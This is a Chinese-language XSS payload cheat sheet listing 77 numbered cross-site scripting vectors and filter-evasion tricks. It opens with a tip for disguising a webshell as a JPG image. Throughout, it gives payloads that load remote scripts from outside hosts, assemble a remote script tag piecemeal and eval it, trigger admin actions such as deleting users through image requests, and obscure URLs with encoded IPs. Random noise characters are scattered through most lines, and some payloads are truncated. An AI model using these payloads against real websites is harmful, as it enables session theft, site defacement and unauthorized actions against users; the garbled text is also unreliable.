跨站图片shell' J; I, Y u4 O6 s7 }# K# T
XSS跨站代码 <script>alert("")</script>: M- j% _7 {1 K
! @1 v# r8 G8 l+ D
将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
; F' c6 ?# N# B0 Q
( ~8 x _5 W% U. e
! g% X5 h4 m! |$ W. A7 W `: P$ t9 `6 f3 y$ |3 D) w
1)普通的XSS JavaScript注入
2 A4 c3 W; e) C* @" [<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
0 D" H. _, T4 u% ]' `, I+ F- M2 G* J! @
(2)IMG标签XSS使用JavaScript命令; [- S* K! _- ^& w7 h; D" o
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
2 u+ d! ?* ]/ n! k2 I
* I* v* x7 p- i9 h& E9 j(3)IMG标签无分号无引号
) p/ X6 C& z* V& b0 t6 n3 h<IMG SRC=javascript:alert(‘XSS’)>1 f" \1 s @+ |7 |1 a. J- p
0 g5 g6 Q, c$ b9 Z0 ~(4)IMG标签大小写不敏感
% Y! L' y2 N8 @; z2 i<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
+ z* B% W+ R' P2 m
) M7 m, R# ]: z8 Q(5)HTML编码(必须有分号)
3 L! O& z$ ~0 O<IMG SRC=javascript:alert(“XSS”)>. t, S9 q0 W. m0 U& m' _
- S7 x. p6 V/ ~# F
(6)修正缺陷IMG标签
# J0 Y9 m* C. v<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>. U3 _- W, e( a3 @ |
9 {% Y/ f3 y; v, {( ?(7)formCharCode标签(计算器)) X5 s, g! C; j0 ?$ {
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>) I% y4 M! Z8 V$ ?; o
0 Q- _% C4 x' V K3 U1 l
(8)UTF-8的Unicode编码(计算器)" q E; u$ d5 U
<IMG SRC=jav..省略..S')>9 Q& |/ U/ U4 F2 A' D2 B5 _
2 Q ?1 _5 C9 S/ e" I8 V
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)! `9 y% J$ ~ E
<IMG SRC=jav..省略..S')>- S+ K: }3 s" p7 {
6 T- b2 p. g( P) P+ }) R(10)十六进制编码也是没有分号(计算器)+ R6 q3 q' Y5 i+ b/ o
<IMG SRC=java..省略..XSS')>
4 J4 s1 h/ t& q7 a; k+ B; a8 P' j6 [: M9 ~# m. K: f; G1 Z
(11)嵌入式标签,将Javascript分开
* Q" r* w3 Z5 E- h<IMG SRC=”jav ascript:alert(‘XSS’);”>
& B5 P W3 t2 k# b: w, G* A5 [
0 M7 M& y9 ^5 l! s- O) Z. o1 B3 b(12)嵌入式编码标签,将Javascript分开
6 O0 I+ [ L& x3 a4 h- O<IMG SRC=”jav ascript:alert(‘XSS’);”>/ \" V2 G* E0 C7 H; c0 g8 k
x- @0 @' i0 O* |( V(13)嵌入式换行符' Y0 o& o6 d: \# k0 `( F3 d
<IMG SRC=”jav ascript:alert(‘XSS’);”>
0 T, J4 L3 t# ^, b5 T. f% p& p
! X- P! ~3 E5 L: p+ A2 D* P) a(14)嵌入式回车6 w& F6 O5 c" j5 q
<IMG SRC=”jav ascript:alert(‘XSS’);”>. n% S9 H3 Z9 Z6 g' [0 }/ g/ U' g
, d- E; Z* ]) J: H1 Z# D
(15)嵌入式多行注入JavaScript,这是XSS极端的例子1 S% @, P# E5 }
<IMG SRC=”javascript:alert(‘XSS‘)”>
y4 e# s. ` o- q' a% ]. j
+ S" Z1 [4 n% s+ B0 r% j; w' b(16)解决限制字符(要求同页面)
) L: x g5 E4 S9 B; o+ i<script>z=’document.’</script>9 \) p# B& I. W. d* u1 ]# f
<script>z=z+’write(“‘</script>
4 i1 x& K( Q; h$ r<script>z=z+’<script’</script>
2 V, r; u8 `! d( a2 Z. M$ K<script>z=z+’ src=ht’</script>
( Q$ b$ F, h2 T% c8 n<script>z=z+’tp://ww’</script>' d% _( v3 M X7 v j5 A) e( t, ^/ _; x
<script>z=z+’w.shell’</script>5 K' `1 `/ @, {! l6 x+ {
<script>z=z+’.net/1.’</script> E v% }. d0 R1 D3 a+ a
<script>z=z+’js></sc’</script>
" l( X3 C8 D4 T<script>z=z+’ript>”)’</script>6 V3 O4 d1 z5 W( |' s4 z, {( o M
<script>eval_r(z)</script>& b( R) D/ f7 C4 \- @$ |: ~
5 f7 S3 m; Z* E( Q; B
(17)空字符- s$ [. a/ u6 ^% u* x
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out5 `( K3 b- d/ y0 }+ E) M
. M- [, w$ M# J) C(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
- V2 \, P) k- o/ C0 @$ g. @' y9 q6 O) rperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out3 D% k1 H! B$ P! m- z+ ?
; ?7 S, q v! R8 [# @(19)Spaces和meta前的IMG标签
' J" I3 E( M4 q1 R<IMG SRC=” javascript:alert(‘XSS’);”>, m4 I' e M$ I9 z, h: l
' Z7 p# E6 f) b& i R' ]% k(20)Non-alpha-non-digit XSS8 `# u- x M: V( J5 f# [3 _
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>* J; m8 H4 D; o$ E
' Z9 B* U4 o: l R3 y( v/ w6 q# M
(21)Non-alpha-non-digit XSS to 2! i8 h' a. ?: s4 `% c3 R
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
- H9 ~. g7 S/ j
- Y% {/ L! c' q: @; u* ~(22)Non-alpha-non-digit XSS to 3
2 X0 j- \3 s/ j6 K2 T% e4 a% D- ]3 V& f<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
- i6 u; u" Y B, [% t) u9 Y; Y
( [( l: i! J" ^! |(23)双开括号
* V0 _: ?; c& b<<SCRIPT>alert(“XSS”);//<</SCRIPT>
; w0 D$ \' Y/ p9 W; t4 E) G+ r8 d8 V7 f6 l6 \* L7 [8 h
(24)无结束脚本标记(仅火狐等浏览器)5 }% k9 |9 J/ l5 }
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
. B0 c: S( w; @3 }
( |% }7 f. F+ E, @) [. C9 V* e3 O(25)无结束脚本标记2, T1 k: s8 H- [' i& @7 Z; D7 ?
<SCRIPT SRC=//3w.org/XSS/xss.js>& \' G9 V" s3 G6 |5 h; f
$ x" d1 s: A- J. g. Z) _' Q(26)半开的HTML/JavaScript XSS
8 H, Z, O0 H1 ?: N8 M<IMG SRC=”javascript:alert(‘XSS’)”1 n6 {! D; A6 h' c/ p
2 f; P% n, J/ v/ m6 W(27)双开角括号1 Z5 v/ V5 t# a' \8 x
<iframe src=http://3w.org/XSS.html <* B; V# y" z( O
g5 M( T7 J# V( Y2 h(28)无单引号 双引号 分号
+ e( ~- V% z+ F5 v+ ?' k<SCRIPT>a=/XSS/
# n g7 W. ~, e" calert(a.source)</SCRIPT>
' F# q9 u5 L5 E. T2 W5 E( B+ d2 [$ P5 L9 i1 m
(29)换码过滤的JavaScript/ U# `' H D( v4 H
\”;alert(‘XSS’);//
; I" L/ I+ e# F' g! ]7 ?1 f5 x6 H) W/ {! @. o: t1 q
(30)结束Title标签
% S( H3 h$ W9 [6 @9 Y v# l</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
7 s- Q7 }1 H8 t& k: T" s- ` g# E2 A' c, `6 p. y
(31)Input Image2 @; k+ Y. j- W+ K+ E. S
<INPUT SRC=”javascript:alert(‘XSS’);”>, t! N5 D! T6 R _7 B
- K4 R6 c5 g1 ?/ O8 v1 ^(32)BODY Image
9 J6 I' x* }3 c<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
' t% ^, Y% t. a4 C# u3 u: M( r9 s7 e3 t0 `
(33)BODY标签# @- E& s# n" h: W' T, p; K$ G# M; ~
<BODY(‘XSS’)>
% S" x2 ]) M) K3 b
0 q$ K5 M7 O3 y. h; G0 V* }(34)IMG Dynsrc8 r C) s- p- C y! a( W: `& K
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
" E/ N# B. }( g0 v# ?: _6 r3 o
7 A: s* _) E' f" z& F4 H(35)IMG Lowsrc
* ^' @: \9 i. s- b4 `( k( g. ?3 G9 T<IMG LOWSRC=”javascript:alert(‘XSS’)”>
: o/ t6 u0 |4 ~9 M+ p6 q: r2 ?' {$ y1 ?" T7 G
(36)BGSOUND
; B8 U# |8 G# r, ]( O6 D& s1 F' w5 \<BGSOUND SRC=”javascript:alert(‘XSS’);”>
, I* D! d/ s& K7 `- f1 n+ O# w+ o& y" p
(37)STYLE sheet
& C9 g4 N) |6 P: {<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
6 j; I# A, x9 M+ w/ S2 b6 T. E7 t- l7 ~# G C
(38)远程样式表/ k; r6 }% O/ D$ M
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
* L& S5 [5 T+ k# r3 Z4 q1 f
( L5 p* \1 I( k3 C( E- S0 M(39)List-style-image(列表式)
; ~6 C7 G8 X3 m" W, Y<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
! n8 S1 j0 d/ N7 R3 Z- I/ o3 u5 N+ _! B3 b5 V/ \/ F
(40)IMG VBscript# x }7 z$ t8 A7 Q7 B) u
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
5 t b& ^0 Q$ {5 d; \ H5 p D9 S, ~6 H5 V5 q
(41)META链接url4 c8 A7 {0 Q+ a( x2 G6 m0 e
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>1 j) N7 I, e# \5 J6 _
0 n4 S2 W' D. T, s% e; |) W
(42)Iframe7 ?, F' j: W O& o9 l
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME> p1 U/ A$ y; p
(43)Frame* W. g3 N; u1 i+ s: k
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET> B8 A6 i/ z+ i% }6 v
, `" j6 D$ k! Q* C5 X7 j
(44)Table6 j: n) K0 o* X# T" V5 P: t
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>7 ]1 O' s$ z2 C- k& G4 l! h6 S4 R
! j' D, [2 h% D* R: L4 K2 B(45)TD4 W* w! V+ u/ Y7 b" ~ _: C* y
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
+ I$ V2 a. h) K v
0 E) w6 f- T' F(46)DIV background-image: Q# O* P7 h, p# D m1 |& m1 Y0 X
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>. P9 q" S5 ?4 c8 y' f0 V+ E4 m8 h
8 X) V. R" n0 k, I7 O
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
( _5 Z( P9 P# b- D2 k3 b/ d<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>- ~; |7 u6 S9 F m* n, o8 g7 p/ I
; S2 N$ r0 _/ s(48)DIV expression" ~9 y/ C7 T6 e& J
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
! @3 I5 S! i7 P& v5 N' e
8 |7 w; X2 h* e$ }6 Q0 V# X K(49)STYLE属性分拆表达; o5 ~4 R( h9 K* r+ F, B C
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>( S- K- v0 z1 A- @* G
" F7 c; M' u7 ?3 a; y Z
(50)匿名STYLE(组成:开角号和一个字母开头)5 [- |' h) @/ V b; Y/ i
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>1 [- M" T+ k( ~3 o6 f7 q
8 \3 E( z& t X$ X( a
(51)STYLE background-image
5 {7 G: d4 W/ r0 O<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
6 n0 U: i) L8 j( _4 r3 {6 k9 r& Q7 e6 U, v4 R
(52)IMG STYLE方式
" o2 S& c, B: X# A% V9 j! aexppression(alert(“XSS”))’>
$ m: y, |$ j( O s7 T c9 x( d5 N" w8 y% r9 ^) h1 c' ?6 Q8 l
(53)STYLE background
! [8 u( O* w: s- W7 ]<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>% {2 Y! C# \, m9 J. k# y
/ L1 C+ i9 b! \4 L. x( o0 F& E& Q
(54)BASE/ n: ~# i, V+ e! G+ \7 L9 i
<BASE HREF=”javascript:alert(‘XSS’);//”>
! b8 L( F* A0 \* E2 a$ W i7 d1 J5 }) S) x8 j. r9 `- p) _
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS& x: f' X4 s" e( i1 h! I) |, b
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
4 n# R# u) M5 J- N. J- j2 \0 i/ k. T& c! R
(56)在flash中使用ActionScrpt可以混进你XSS的代码
% d3 O( K/ @& ~* C( k! l# n2 E; Ga=”get”;
0 H1 v( W% R$ S0 _# p; A3 bb=”URL(\”";
2 Q6 @6 {3 |, T( e6 q0 mc=”javascript:”;
# b/ z% P" \% P+ ad=”alert(‘XSS’);\”)”;
3 Y- D" Y6 C$ u6 K! |/ ?eval_r(a+b+c+d);
' w$ x6 g) I5 _3 d; ^4 ?/ u1 T; r1 q" z
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上4 C5 B* X3 v; c4 U- J
<HTML xmlns:xss>7 P- b5 m4 @0 q. l: J. y( N2 `6 O& c
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>' o; q; v& ~: ^- Q
<xss:xss>XSS</xss:xss>/ d. n2 z8 U& B0 S2 N8 t1 @# ~
</HTML>
M0 u2 F( ?. K% x2 K: g7 r
8 _: p8 x" K4 w6 m/ o: k( n(58)如果过滤了你的JS你可以在图片里添加JS代码来利用% o- c9 u/ L: W
<SCRIPT SRC=””></SCRIPT>
" p9 G0 a1 y0 m+ W8 |. V, M; _( V
! k3 m5 N1 V/ ?( m5 P* S(59)IMG嵌入式命令,可执行任意命令
' v" ^# n6 a9 L<IMG SRC=”http://www.XXX.com/a.php?a=b”>+ u" `6 K9 H# _
- B. A; f6 I8 e
(60)IMG嵌入式命令(a.jpg在同服务器), m! \' y" C( U9 Z _- [
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
' c; G. @6 d" \+ B1 ^# b! M z- ]" j4 l, g% ]% G1 s
(61)绕符号过滤
3 Q5 a4 ^: s/ N- k9 l<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
( F) D$ R# t& x9 S0 [. X5 x# {6 u7 z( G# L! j. p; p/ ?- a6 q
(62)
) T9 D( @5 o' @2 T5 g9 ^3 ^<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>" r: k/ P4 h i+ M# c7 x
2 }& y: A' v1 P; t(63)7 t# k* h* k9 b& k# d
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
; c6 T1 @* X G4 {& ]/ J; G/ @9 o/ ~9 S+ Y& T
(64). ?, `! z- a+ ?1 B, t' f- z
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
( U5 w9 E* q/ g. ^
/ s+ [! W1 k& W3 z$ f% B# {(65)
3 |! Z2 \& `, U! ]+ `2 @) g0 A<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
' R5 [4 U* ~4 g7 R- H" Y! ~' M. ?. O- u1 Q3 g
(66)- P4 k% t1 E: J9 R. w
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>7 W; D* ]3 ~0 k f9 h7 O
5 f1 g+ f, x. T0 q* N(67)
6 s6 @# T: t* G# x8 R2 t6 @% u<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>& L9 z4 F1 V7 g) K9 V: U2 M9 @
+ m3 m9 U' P% a
(68)URL绕行
{) s6 p* D$ B+ e<A HREF=”http://127.0.0.1/”>XSS</A>& w, r5 w. j, [, @" p! n, h
/ U. V# X* }. I% O
(69)URL编码
y3 J$ i/ i8 u. P<A HREF=”http://3w.org”>XSS</A> j3 x P- y& m
7 Y4 F' ?; h6 n5 `0 `: o) D( U
(70)IP十进制
: Z6 a8 [7 p1 _1 Z9 @4 U: d% Z<A HREF=”http://3232235521″>XSS</A>
" ?5 e" U& |# g. y4 {
' M4 @# ?# t% r; c7 ]1 _; H5 V(71)IP十六进制# h' S% L) f5 u3 y. E+ \$ Q
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A># x) U- A# ^6 r: Q0 A, `
7 M. L X- G$ J+ l' `: [4 y1 X(72)IP八进制5 q( e) }$ R0 ?3 V( \ w
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
0 b3 `, w2 J$ f9 K9 B2 r1 f0 l
y4 t; @' X& v& o(73)混合编码
* y! g; ?9 V# X7 ?: R% ~<A HREF=”h
4 O0 e* a3 M X* @+ X! k. ltt p://6 6.000146.0×7.147/”">XSS</A>
) d9 ~ D# [7 I4 c) [7 ]
1 j- {9 b& M# u+ y(74)节省[http:] y/ C* q: o. S0 }( s" ~: J
<A HREF=”//www.google.com/”>XSS</A>
& F) P$ F+ U. z! T, x0 s: m
0 F4 j- H( L; B- E& o% o(75)节省[www]
9 i* {$ e7 i" ]+ \0 W- @<A HREF=”http://google.com/”>XSS</A>% c6 q% V. d: O4 d) G
% G, P9 i& q, N1 Z; V6 Q2 q" I
(76)绝对点绝对DNS
1 _- d1 [7 t9 g<A HREF=”http://www.google.com./”>XSS</A>
# {* q H1 h p% L$ T8 c4 P: @- ?* E( I" R/ o
(77)javascript链接1 G' @+ U6 i8 v) C# U% S1 {
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>& M9 v: T l; S5 u ?) ~
|